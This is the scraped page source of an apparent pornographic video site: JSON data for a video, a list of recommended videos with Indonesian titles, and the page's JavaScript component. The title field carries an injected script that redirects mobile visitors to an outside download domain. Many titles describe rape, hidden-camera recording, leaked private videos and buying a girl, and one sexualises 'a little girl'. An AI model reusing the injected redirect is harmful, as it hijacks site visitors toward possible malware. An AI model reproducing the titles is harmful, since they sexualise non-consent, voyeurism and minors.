</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Generasi Kedua CC Hotel Memperkosa Wanita Cantik Bersepatu Bot Panjang Secara Brutal, Gadis Berkacamata Cabul, Sofa Hotel Diperkosa dan Menggeliat
Generasi Kedua CC Hotel Memperkosa Wanita Cantik Bersepatu Bot Panjang Secara Brutal, Gadis Berkacamata Cabul, Sofa Hotel Diperkosa dan Menggeliat","site_id":0,"video_url":"https://kjbwhcnao.com/20260705/NmSsTDoG/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDcvNGIyNmFlZjBiZDNiODIwZThlY2QwNGYxZjAzNjQ5OGMuanBn.cache","duration":"07:26","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["hotel","Kacamata","cabul","gadis","Gadis Berkacamata","berkedut","diperkosa","Sepatu bot panjang","gadis cantik","sofa","Generasi kedua"],"site_url":"440780","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["玩偶姐姐"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDcvNGIyNmFlZjBiZDNiODIwZThlY2QwNGYxZjAzNjQ5OGMuanBn.cache","maker":"","table_name":"videos_aosikazy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"二代CC酒店爆肏长靴美少女淫荡眼镜妹酒店沙发被操抽搐","s_keywords":"二代CC酒店爆肏长靴美少女淫荡眼镜妹酒店沙发被操抽搐","s_description":"Generasi Kedua CC Hotel Memperkosa Wanita Cantik Bersepatu Bot Panjang Secara Brutal, Gadis Berkacamata Cabul, Sofa Hotel Diperkosa dan Menggeliat","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjQzZWY1ZGFjMzBjMGJiMmFiMDZjY2I5ZTBkZDMyNGQuanBn.cache","vod_id":18977265,"title":"Setelah insiden di kamar hotel, pramuria di klub malam itu agak kurang bergairah, jadi aku berejakulasi di pantatnya untuk \"memuaskannya\" selama satu jam.","lastmod":"2025-03-19","duration":"01:06:41","url":"/play/18977265.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTE0OTEwY2QyNWE1OWY2OGZlNmNlNGE5ZTY3NzEwMjcuanBn.cache","vod_id":18956528,"title":"Seorang wanita muda yang tinggi dan ramping merasa sangat kesepian di rumah sehingga ia melakukan masturbasi di sofa.","lastmod":"2025-03-19","duration":"04:45","url":"/play/18956528.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTNlZmZlNjMyYmM1YTE5ZGFiMjUwZWZhN2Q1ZmY3OWQuanBn.cache","vod_id":19114795,"title":"Pilihan Terbaik - Dapatkan Gadis yang Sangat Manis dan Cantik Hanya dengan 3.000 Yuan","lastmod":"2026-02-17","duration":"22:51","url":"/play/19114795.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzRiYzczNTI5ODI5M2MwZGIyMTg5MjVhOTU1ZGRkMDguanBn.cache","vod_id":19042838,"title":"Seorang gadis kucing yang imut dan pemiliknya mengalami pertemuan seksual yang aneh!","lastmod":"2025-03-19","duration":"32:47","url":"/play/19042838.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDU0ZTU2ZWJlZTQ4Yzc4NDhiMzdkYzA2ZDYwOGE4NGUuanBn.cache","vod_id":18966536,"title":"362SCOH-133 [Cumshot] Aku akan memilih seorang gadis cantik yang mengenakan kostum cosplay dan membuatnya hamil dengan anakku! [Shuten-dōji ● Sora 2]","lastmod":"2025-03-19","duration":"34:40","url":"/play/18966536.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MTkvYTYyNDk1MDNlZWZjN2M3N2FhNzk3MGEzYjUxMzk4YWMuanBn.cache","vod_id":19127584,"title":"Sepuluh mahasiswi cantik ditipu oleh seorang bajingan dan berhubungan seks dengan seorang gadis berkacamata; mantan pacarnya kemudian membocorkan video pribadinya.","lastmod":"2026-06-18","duration":"01:26:24","url":"/play/19127584.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzZjNWVkZGFmNjE4M2ZjM2FjZGExY2E3NjQyNDM2YzMuanBn.cache","vod_id":18971862,"title":"Sekumpulan gadis muda berkulit putih dan lembut pilihan yang siap dirayu secara online.","lastmod":"2025-03-19","duration":"00:00:43","url":"/play/18971862.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjg0NTkxMzk4NTQ1NjNjOTBhZjkyYWVlZTkxMTk4MTMuanBn.cache","vod_id":18976097,"title":"326MAN-003 [Wanita cantik berpayudara kecil berkualitas tinggi] dipasangkan dengan pemain berukuran F-cup di aplikasi. Motto pemain tersebut adalah \"Saya tidak suka orang yang agresif.\" (Gar)","lastmod":"2025-03-19","duration":"01:14:02","url":"/play/18976097.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTdjOTI2Mjg0Y2QyODA1OTQ2ODFhNTBkZDEyMTcwNDEuanBn.cache","vod_id":19031312,"title":"Bos KK, yang terlalu memperhatikan penampilan, memanggil dua wanita panggilan terkenal dan menarik untuk melakukan hubungan seks bertiga, bergantian pasangan untuk seks erotis, satu di atas yang lain, dengan dialog cabul.","lastmod":"2025-03-19","duration":"45:47","url":"/play/19031312.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDMvYjYyN2U4ODBjMDBjYzI1N2IyYTNiY2ZkMjM5YWJhOTEuanBn.cache","vod_id":19096017,"title":"PRED-689-C Kebangkitan Seksual Reporter Pemandian Air Panas Berpayudara Besar: Berkedut! Tampar Tampar Tampar! 3 Pengalaman Pertama","lastmod":"2025-09-02","duration":"02:11:52","url":"/play/19096017.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTVjN2QxZTY4NTE4OGZiNDMzNmE4MjhlNWQ5OGUxZTguanBn.cache","vod_id":18928165,"title":"Teknik jari Asia yang seksi dan menunggangi ereksi.","lastmod":"2025-03-19","duration":"15:20","url":"/play/18928165.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2M2OTE0ODViMTNmZmVlNzJkZDU1NzU4NzNkZmY0ODcuanBn.cache","vod_id":18936442,"title":"Seorang gadis cantik mengajarkan cara menggunakan kondom penyumbat mulut.","lastmod":"2025-03-19","duration":"02:19","url":"/play/18936442.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjA3YjExMjA0YjQ1MWFhN2IxMTU5ZDQ5ZTE4MDdjMjQuanBn.cache","vod_id":19071218,"title":"MISM-359 Mengejutkan! Eksklusif untuk \"Deep Throat\"—. Seorang gadis cantik bermata basah memuntahkan air suci dan menjadi liar, mencapai ekstasi di Perayaan Irama.","lastmod":"2025-03-20","duration":"02:01:43","url":"/play/19071218.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2VhMzU3NGE3Y2U5YThiMWNlY2JmODZhNTg3NTIzN2EuanBn.cache","vod_id":19023539,"title":"Pengalaman pertama dua gadis dengan renda.","lastmod":"2025-03-19","duration":"09:49","url":"/play/19023539.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjM3ZDVmYmM4NWQ5NDMzMGEzYzM2Y2IzYzFkNjk0MGYuanBn.cache","vod_id":19031988,"title":"Dibayar mahal untuk berhubungan seks dengan gadis manis seusia kuliah dengan kaki seksi, kaki indah, dan stoking; mereka akan berhubungan seks di tempat tidur, lalu di sofa, dan kemudian di dekat jendela, sambil mendesah pelan.","lastmod":"2025-03-19","duration":"27:47","url":"/play/19031988.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTIvZDcwYjQ0MDI4YjMxNDgwZTQxNzZjMTY3MGJjZjc2M2YuanBn.cache","vod_id":19078311,"title":"MUDR-305 Perjalanan Pemerkosaan Beramai-ramai di Pemandian Air Panas ~Seorang gadis tetangga berulang kali diperkosa dan dipaksa mencapai orgasme oleh piston berkeringat dan tak pernah berhenti milik seorang pria tua yang jelek~","lastmod":"2025-04-12","duration":"02:32:09","url":"/play/19078311.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmU0NGQzZmJjYzU0MThkZjAyOTY1ZTMzN2FjMDdkMTcuanBn.cache","vod_id":19067574,"title":"Dua wanita muda yang memikat, seorang gadis remaja dan seorang gadis kecil, muncul di layar, bergantian menjilat klitoris mereka untuk dilihat oleh penonton pria, menggunakan alat peraga yang merangsang untuk gerakan dorong dan ciuman Prancis, vulva merah muda mereka menikmati kenikmatan lidah.","lastmod":"2025-03-20","duration":"04:23:54","url":"/play/19067574.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzdlZWI1NDBhZWEzYWZhZTdmZDM3YTY3ODVlM2NjMTkuanBn.cache","vod_id":19023569,"title":"FC2-3283732 [Tanpa Sensor] Kaname-chan, seorang gadis berusia 18 tahun di klub musik ringan penuh waktu di Kabupaten K, telah membangkitkan hasrat untuk mendominasi!! Pendidikan seorang gadis polos, pendek, dan cantik.","lastmod":"2025-03-19","duration":"48:55","url":"/play/19023569.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzdhZmRiN2M1MGI0MGUyOWE2ZmUwZDNmMDdmNzFmMDQuanBn.cache","vod_id":19120003,"title":"Gadis tercantik di sekolah itu diperkosa sampai ia kehilangan kendali atas kandung kemihnya. Gadis tercantik yang polos itu diperkosa sampai ia kehilangan kendali atas kandung kemihnya dan mengeluarkan cairan. Ia membuka kakinya dan bermasturbasi sampai ia ejakulasi.","lastmod":"2026-05-14","duration":"19:57","url":"/play/19120003.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjI2NDM1NGVlYjU3YWRhOWQxMjZmNTY4NGE2NDVmNDkuanBn.cache","vod_id":18973561,"title":"Konten terpilih yang menampilkan pemerkosaan terhadap seorang gadis berpayudara besar.","lastmod":"2025-03-19","duration":"01:28","url":"/play/18973561.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTI5NjI0YmUyYjkzM2NmMmFhZjA2Yzk5ZWY0NGZkZTAuanBn.cache","vod_id":19032302,"title":"Kamera tersembunyi berdefinisi tinggi di hotel-hotel, yang dioperasikan oleh Ezviz Cloud, diam-diam merekam pasangan mahasiswa yang menikmati seks perpisahan mereka di atas ranjang bundar bergetar sebelum meninggalkan kampus untuk liburan!","lastmod":"2025-03-19","duration":"01:33:45","url":"/play/19032302.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGI4Mjc5MTNhMDE3MDk3N2FlY2NiZTIxMTIxYTI2MmYuanBn.cache","vod_id":18959596,"title":"Setelah makan malam dengan seorang gadis langsing berkacamata dari departemen penjualan perusahaan, kami pergi ke kediamannya dan berhubungan seks tanpa melepas pakaian atau menggunakan kondom. (Dialog)","lastmod":"2025-03-19","duration":"17:44","url":"/play/18959596.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MjQvODFkYzcxMDI4OWQwMmYwZTUzNjJiNDE1MzY2YzUxMDEuanBn.cache","vod_id":19091060,"title":"Anjing betina suka minum air kencing lalu dikawini.","lastmod":"2025-07-23","duration":"10:39","url":"/play/19091060.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGQxNmY5NjQ1YzllYjEzMTE5MWRmNmIwOTZkY2VkYmIuanBn.cache","vod_id":18961798,"title":"Aku suka penampilannya yang cabul.","lastmod":"2025-03-19","duration":"00:00:20","url":"/play/18961798.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Generasi Kedua CC Hotel Memperkosa Wanita Cantik Bersepatu Bot Panjang Secara Brutal, Gadis Berkacamata Cabul, Sofa Hotel Diperkosa dan Menggeliat',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}